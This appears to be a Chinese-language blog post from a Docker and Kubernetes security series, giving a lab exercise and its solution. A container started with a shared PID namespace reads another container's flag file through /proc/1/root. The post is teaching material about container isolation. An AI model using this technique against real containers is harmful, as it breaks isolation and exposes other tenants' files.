iT邦幫忙

2023 iThome 鐵人賽

0

Yes

  • 作業 12 題目 : 透過以下指令建立容器,透過 nc 連到目標容器後,想辦法利用這次學習到的特性取得其他容器的 flag 檔案資訊。

    docker run -d -it --rm --name flag aeifkz/my-ubuntu:v1.0 bash ;
    
    #意思產生一個 flag 檔案
    echo "ZmxhZ3toYWNrZXIgaGF0ZSBEaXN0cm9sZXNzfQo=" | base64 -d > flag.txt ;
    docker cp flag.txt flag:/ ;
    rm flag.txt ; 
    
    docker run -d --rm --name target -p 30089:30089 --pid container:flag aeifkz/my-ubuntu:v1.0 ;
    
    # 開始解題
    docker exec -it target bash ;
    
  • 解答 : 稍微觀察一下會發現這個容器可能有掛載其他容器的 pid 進來,透過 /proc/1/root 就可以存取到該容器的檔案系統。

    # 會看到有多個 process 在執行,感覺可能是掛別的容器的 pid
    ps aux ;
    
    # 偷看一下裡面的檔案
    cd /proc/1/root ;
    ls -al ;
    
    # flag{hacker hate Distroless},雖然這題跟 Distroless 沒甚麼關聯
    cat flag.txt ;
    

上一篇
Day 39 - (防禦) Distroless Image 介紹 (含作業12)
下一篇
Day 40 - (防禦) Container 鏡像安全掃描 - Trivy (含作業13)
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言